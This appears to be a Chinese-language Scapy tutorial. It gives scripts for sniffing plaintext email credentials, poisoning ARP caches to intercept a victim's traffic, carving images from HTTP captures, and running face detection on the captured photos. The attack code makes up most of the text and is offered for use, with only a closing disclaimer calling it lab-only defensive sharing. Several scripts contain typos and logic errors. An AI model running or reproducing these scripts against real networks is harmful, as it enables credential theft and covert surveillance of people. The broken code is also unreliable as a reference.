Scapy 是一个用来解析底层网络数据包的Python模块和交互式程序，该程序对底层包处理进行了抽象打包，使得对网络数据包的处理非常简便。该类库可以在在网络安全领域有非常广泛用例，可用于漏洞利用开发、数据泄露、网络监听、入侵检测和流量的分析捕获的。Scapy与数据可视化和报告生成集成，可以方便展示起结果和数据。

我们会先简单尝试一下，用Scapy嗅探流量，从中窃取明文的邮箱身份凭证。然后对网络中的攻击目标进行ARP投毒，以此嗅探它们的网络流量。最后，我们会演示如何借助Scapy的pcap数据处理能力，从嗅探到的HTTP流量中提取图片，并运用面部识别算法来判断其是否为人像照片。

窃取邮箱身份凭证：

Scapy提供了一个名字简明扼要的接口函数sniff，它的定义是这样的：

sniff(filter = " ", iface = "any", prn = function, count = N)

filter参数允许你指定一个Berkeley数据包过滤器（Berkeley Packet Filter，BPF），用于过滤Scapy嗅探到的数据包，也可以将此参数留空，表示要嗅探所有的数据包。

iface参数用于指定嗅探器要嗅探的网卡，如果不设置的话，默认会嗅探所有网卡。prn参数用于指定一个回调函数，每当遇到符合过滤条件的数据包时，嗅探器就会将该数据包传给这个回调函数，这是该函数接受的唯一参数。count参数可以用来指定你想嗅探多少包，如果留空的话，Scapy就会一直嗅探下去。

mail_sniffer.py:

from scapy.all import sniff

def packet_callback(packet):
    print(packet.show())

def main():
    sniff(pro=packet_callback, count=1)

if __name__ == '__main__':
    main()

在这个简单的嗅探器中，它只会嗅探邮箱协议相关的命令。

接下来我们将添加过滤器和回调函数代码，有针对性地捕获和邮箱账号认证相关的数据。

首先，我们将设置一个包过滤器，确保嗅探器只展示我们感兴趣的包。我们会使用BPF语法（也被称为Wireshark风格的语法）来编写过滤器。你可能会在tcpdump、Wireshark等工具中用到这种语法。先来讲一下基本的BPF语法。在BPF语法中，可以使用三种类型的信息：描述词（比如一个具体的主机地址、网卡名称或端口号）、数据流方向和通信协议，如图所示。你可以根据自己想找的数据，自由地添加或省略某个类型、方向或协议。

 我们先写一个BPF：

from scapy.all import sniff, TCP, IP

#the packet callback
def packet_callback(packet):
    if packet[TCP].payload:
        mypacket = str(packet[TCP].paylaod)
        if 'user' in mypacket.lower() or 'pass' in mypacket.lower():
            print(f"[*] Destination: {packet[IP].dst}")
            print(f"[*] {str(packet[TCP].payload)}")


def main():
    #fire up the sniffer
    sniff(filter='tcp port 110 or tcp port 25 or tcp port 143',prn=packet_callback, store=0)
#监听邮件协议常用端口
#新参数store，把它设为0以后，Scapy就不会将任何数据包保留在内存里

if __name__ == '__main__':
    main()

ARP投毒攻击：

逻辑：欺骗目标设备，使其相信我们是它的网关；然后欺骗网关，告诉它要发给目标设备的所有流量必须交给我们转发。网络上的每一台设备，都维护着一段ARP缓存，里面记录着最近一段时间本地网络上的MAC地址和IP地址的对应关系。为了实现这一攻击，我们会往这些ARP缓存中投毒，即在缓存中插入我们编造的记录。

注意实验的目标机为mac

arper.py：

from multiprocessing import Process
from scapy.all import (ARP, Ether, conf, get_if_hwaddr, send, sniff, sndrcv, srp, wrpcap)
import os
import sys
import time

def get_mac(targetip):
    packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip)
    resp, _= srp(packet, timeout=2, retry=10, verbose=False)
    for _, r in resp:
        return r[Ether].src
    return None
    
class Arper:
    def __init__(self, victim, gateway, interface='en0'):
        self.victim = victim
        self.victimmac = get_mac(victim)
        self.gateway = gateway
        self.gatewaymac = get_mac(gateway)
        self.interface = interface
        conf.iface = interface
        conf.verb = 0

        print(f'Initialized {interface}:')
        print(f'Gateway ({gateway}) is at {self.gateway}')
        print(f'Victim ({victim}) is at {self.gatewaymac}')
        print('_'*30)
    
    def run(self):
        self.poison_thread = Process(target=self.poison)
        self.poison_thread.start()

        self.sniff_thread = Process(target=self.sniff)
        self.sniff_thread.start()

    def poison(self):
        poison_victim = ARP()
        poison_victim.op = 2
        poison_victim.psrc = self.gateway
        poison_victim.pdst = self.victim
        poison_victim.hwdst = self.victimmac
        print(f'ip src: {poison_victim.psrc}')
        print(f'ip dst: {poison_victim.pdst}')
        print(f'mac dst: {poison_victim.hwdst}')
        print(f'mac src: {poison_victim.hwsrc}')
        print(poison_victim.summary())
        print('_'*30)
        poison_gateway = ARP()
        poison_gateway.op = 2
        poison_gateway.psrc = self,victim 
        poison_gateway.pdst = self.gateway
        poison_gateway.hwdst = self.gatewaymac

        print(f'ip src: {poison_gateway.psrc}')
        print(f'ip dst: {poison_gateway.pdst}')
        print(f'mac dst: {poison_gateway.hwdst}')
        print(f'mac_src: {poison_gateway.hwsrc}')
        print(poison_gateway.summary())
        print('_'*30)
        print(f'Beginning the ARP poison. [CTRL -C to stop]')
        while True:
            sys.stdout.write('.')
            sys.stdout.flush()
            try:
                send(poison_victim)
                send(poison_gateway)
            except KeyboardInterrupt:
                self.restore()
                sys.exit()
            else:
                time.sleep(2)


    def sniff(self, count=200):
        time.sleep(5)
        print(f'Sniffing {count} packets')
        bpf_filter = "ip host %s" % victim
        packets = sniff(count=count, filter=bpf_filter, ifcae=self.interface)
        wrpcap('arper.pcap', packets)
        print('Got the packets')
        self.restore()
        self.poison_thread.terminate()
        print('Finished')

    def restore(self):
        print('Restoring ARP tables...')
        send(ARP(
            op=2,
            psrc=self.gateway,
            hwsrc=self.gatewaymac,
            pdst=self.victim,
            hwdst='ff:ff:ff:ff:ff:ff'),
            count=5)
        send(ARP(
            op=2,
            psrc=self.victim,
            hwsrc=self.victimmac,
            pdst=self.gateway,
            hwdst='ff:ff:ff:ff:ff:ff'),
            count=5)
                

if __name__ == '__main__':
    (victim, gateway, interface) = (sys.argv[1], sys.argv[2], sys.argv[3])
    myarp = Arper(victim, gateway, interface)
    myarp.run()

pcap文件处理：

recapper.py：

from scapy.all import TCP, rdpcap
import collections
import os
import re
import sys
import zlib

OUTDIR = '/root/Desktop/pictures'
PCAPS = '/root/Downloads'

Response = collections.namedtuple('Response', ['header','payload'])

def get_header(payload):
    try:
        header_raw = payload[:payload.index(b'\r\n\r\n')+2]
    except ValueError:
        sys.stdout.write('_')
        sys.stdout.flush()
        return None
    
    header = dict(re.findall(r'?P<name>.*?): (?P<value>.*?)\r\n', header_raw.decode()))
    if 'Content-Type' not in header:
        return None
    return header

def extract_content(Response, content_name='image'):
    content, content_type = None, None
    if content_name in Response.header['Content-Type']:
        content_type = Response.header['Content-Type'].split('/')[1]
        content = Response.payload[Response.payload.index(b'\r\n\r\n')+4:]

        if 'Content-Encoding' in Response.header:
            if Response.header['Content-Encoding'] == "gzip":
                content = zlib.decompress(Response.payload, zlib.MAX_wbits | 32)
            elif Response.header['Content-Encoding'] == "deflate":
                content = zlib.decompress(Response.payload) 
    
    return content, content_type

class Recapper:
    def __init__(self, fname):
        pcap = rdpcap(fname)
        self.session = pcap.session()
        self.responses = list()

    def get_responses(self):
        for session in self.session:
            payload = b''
            for packet in self.session[session]:
                try:
                    if packet[TCP].dport == 80 or packet[TCP].sport == 80:
                        payload += bytes(packet[TCP].payload)
                except IndexError:
                    sys.stdout.write('x')
                    sys.stdout.flush()
        
            if payload:
                header = get_header(payload)
                if header is None:
                    continue
            self.responses.append(Response(header=header, payload=payload))
    def write(self, content_name):
        for i, response in enumerate(self.responses):
            content, content_type = extract_content(response, content_name)
            if content and content_type:
                fname = os.path.join(OUTDIR, f'ex_{i}.{content_type}')
                print(f'Writing {fname}')
                with open(fname, 'wb') as f:
                    f.write(content)

if __name__ == '__main__':
    pfile = os.path.join(PCAPS, 'pcap.pcap')
    recapper = Recapper(pfile)
    recapper.get_responses()
    recapper.write('image')

如果我们得到了一张图片，那么我们就要对这张图片进行分析，检查每张图片来确认里面是否存在人脸。对每张含有人脸的图片，我们会在人脸周围画一个方框，然后另存为一张新图片。

detector.py：

import cv2
import os

ROOT = '/root/Desktop/pictures'
FACES = '/root/Desktop/faces'
TRAIN = '/root/Desktop/training'

def detect(srcdir=ROOT, tgtdir=FACES, train_dir=TRAIN):
    for fname in os.listdir(srcdir):
        if not fname.upper().endswith('.JPG'):
            continue
        fullname = os.path.join(srcdir, fname)

        newname = os.path.join(tgtdir, fname)
        img = cv2.imread(fullname)
        if img is None:
            continue

        gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
        training = os.path.join(train_dir, 'haarcascade_frontalface_alt.xml')
        cascade = cv2.CascadeClassifier(training)
        rects = cascade.detectMultiScale(gray, 1.3,5)
        try:
            if rects.any():
                print('Got a face')
                rects[:, 2:] += rects[:, :2]
        except AttributeError:
            print(f'No faces fount in {fname}')
            continue

        # highlight the faces in the image
        for x1, y1, x2, y2 in rects:
            cv2.rectangle(img, (x1, y1), (x2, y2), (127, 255, 0), 2)
        cv2.imwrite(newname, img)

if name == '__main__':
    detect()

到这里，我们的实验目标已经完成。对于其中的脚本我们可以扩展更多的内容，请大家自行发挥。

本人所有文章均为技术分享，均用于防御为目的的记录，所有操作均在实验环境下进行，请勿用于其他用途，否则后果自负。